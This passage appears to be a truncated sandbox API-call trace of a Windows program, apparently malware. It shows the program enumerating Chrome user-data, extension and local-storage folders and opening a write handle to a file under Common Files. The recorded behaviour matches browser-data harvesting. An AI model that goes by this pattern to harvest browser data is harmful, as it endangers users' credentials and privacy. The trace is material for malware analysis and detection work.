cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0130.915] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0130.915] GetFileType (hFile=0x194) returned 0x1 [0130.915] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8399f510, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x839a6a40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x839a6a40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdd, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0130.916] AreFileApisANSI () returned 1 [0130.916] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0130.916] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0130.916] GetFileType (hFile=0x198) returned 0x1 [0130.916] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x8, ftCreationTime.dwLowDateTime=0xe, ftCreationTime.dwHighDateTime=0x88, ftLastAccessTime.dwLowDateTime=0x7d0228, ftLastAccessTime.dwHighDateTime=0x4, ftLastWriteTime.dwLowDateTime=0x19000, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x18923, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x0, cFileName="", cAlternateFileName="È\x80\x83")) returned 0xffffffff [0130.916] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0130.917] GetLastError () returned 0x12 [0130.917] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0130.917] GetLastError () returned 0x12 [0130.917] AreFileApisANSI () returned 1 [0130.917] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0130.917] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0130.917] GetFileType (hFile=0x190) returned 0x1 [0130.917] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\JumpListIcons\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x96ec4eb0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x96ec4eb0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x96ec4eb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0130.917] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0130.918] GetLastError () returned 0x12 [0130.918] AreFileApisANSI () returned 1 [0130.918] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0130.918] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0130.918] GetFileType (hFile=0x190) returned 0x1 [0130.918] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\JumpListIconsOld\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85096390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85096390, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85096390, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0130.918] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0130.918] GetLastError () returned 0x12 [0130.918] AreFileApisANSI () returned 1 [0130.918] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0130.918] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0130.919] GetFileType (hFile=0x190) returned 0x1 [0130.919] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8642cdf0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8642cdf0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8642cdf0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0130.919] AreFileApisANSI () returned 1 [0130.919] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0130.919] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0130.919] GetFileType (hFile=0x194) returned 0x1 [0130.919] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x18adec, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x19000, nFileSizeHigh=0x0, nFileSizeLow=0x18cea, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0130.919] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0130.920] GetLastError () returned 0x12 [0130.920] AreFileApisANSI () returned 1 [0130.920] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0130.920] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0130.921] GetFileType (hFile=0x190) returned 0x1 [0130.921] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Local Storage\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83ede170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x90191d70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x90191d70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0130.922] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0130.923] GetLastError () returned 0x12 [0130.923] AreFileApisANSI () returned 1 [0130.923] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0130.923] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0130.923] GetFileType (hFile=0x190) returned 0x1 [0130.923] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84251e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84251e10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84251e10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x36, dwReserved1=0x2, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0130.924] AreFileApisANSI () returned 1 [0130.924] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0130.924] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0130.924] GetFileType (hFile=0x194) returned 0x1 [0130.924] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x18adec, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x19000, nFileSizeHigh=0x0, nFileSizeLow=0x18fc9, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0130.925] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0130.925] GetLastError () returned 0x12 [0130.925] AreFileApisANSI () returned 1 [0130.925] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0130.925] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0130.925] GetFileType (hFile=0x190) returned 0x1 [0130.925] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Web Applications\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x868593b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x868593b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x868593b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0130.925] AreFileApisANSI () returned 1 [0130.925] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0130.926] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0130.926] GetFileType (hFile=0x194) returned 0x1 [0130.926] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x18adec, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x1a000, nFileSizeHigh=0x0, nFileSizeLow=0x191bd, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0130.926] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0130.926] GetLastError () returned 0x12 [0130.926] FindClose (in: hFindFile=0x7d17f0 | out: hFindFile=0x7d17f0) returned 1 [0130.926] GetLastError () returned 0x12 [0130.926] AreFileApisANSI () returned 1 [0130.926] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0130.926] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b438, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0130.926] GetFileType (hFile=0x18c) returned 0x1 [0130.927] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\EVWhitelist\\*.*", lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x7b0150, cFileName=".", cAlternateFileName="")) returned 0x7d17f0 [0130.927] FindClose (in: hFindFile=0x7d17f0 | out: hFindFile=0x7d17f0) returned 1 [0130.927] GetLastError () returned 0x12 [0130.927] AreFileApisANSI () returned 1 [0130.927] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0130.927] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b438, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0130.927] GetFileType (hFile=0x18c) returned 0x1 [0130.927] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\FileTypePolicies\\*.*", lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e213b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e213b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e213b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4, dwReserved1=0x867248, cFileName=".", cAlternateFileName="")) returned 0x7d17f0 [0130.928] FindClose (in: hFindFile=0x7d17f0 | out: hFindFile=0x7d17f0) returned 1 [0130.928] GetLastError () returned 0x12 [0130.928] AreFileApisANSI () returned 1 [0130.928] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0130.928] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b438, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0130.928] GetFileType (hFile=0x18c) returned 0x1 [0130.928] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\OriginTrials\\*.*", lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e213b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e213b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e213b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17f0 [0130.928] FindClose (in: hFindFile=0x7d17f0 | out: hFindFile=0x7d17f0) returned 1 [0130.928] GetLastError () returned 0x12 [0130.929] AreFileApisANSI () returned 1 [0130.929] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0130.929] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b438, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0130.929] GetFileType (hFile=0x18c) returned 0x1 [0130.929] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\PepperFlash\\*.*", lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17f0 [0130.929] FindClose (in: hFindFile=0x7d17f0 | out: hFindFile=0x7d17f0) returned 1 [0130.929] GetLastError () returned 0x12 [0130.930] AreFileApisANSI () returned 1 [0130.930] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0130.930] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b438, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0130.930] GetFileType (hFile=0x18c) returned 0x1 [0130.930] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\pnacl\\*.*", lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e47510, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e47510, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e47510, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17f0 [0130.930] FindClose (in: hFindFile=0x7d17f0 | out: hFindFile=0x7d17f0) returned 1 [0130.930] GetLastError () returned 0x12 [0130.930] AreFileApisANSI () returned 1 [0130.930] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0130.930] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b438, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0130.931] GetFileType (hFile=0x18c) returned 0x1 [0130.931] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\SSLErrorAssistant\\*.*", lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e213b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e213b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e213b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4, dwReserved1=0x897a78, cFileName=".", cAlternateFileName="")) returned 0x7d17f0 [0130.931] FindClose (in: hFindFile=0x7d17f0 | out: hFindFile=0x7d17f0) returned 1 [0130.931] GetLastError () returned 0x12 [0130.931] AreFileApisANSI () returned 1 [0130.931] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0130.931] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b438, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0130.931] GetFileType (hFile=0x18c) returned 0x1 [0130.932] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\SwReporter\\*.*", lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e213b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e213b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e213b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17f0 [0130.932] FindClose (in: hFindFile=0x7d17f0 | out: hFindFile=0x7d17f0) returned 1 [0130.932] GetLastError () returned 0x12 [0130.932] AreFileApisANSI () returned 1 [0130.932] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0130.932] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b438, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0130.932] GetFileType (hFile=0x18c) returned 0x1 [0130.932] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\WidevineCdm\\*.*", lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x2010, 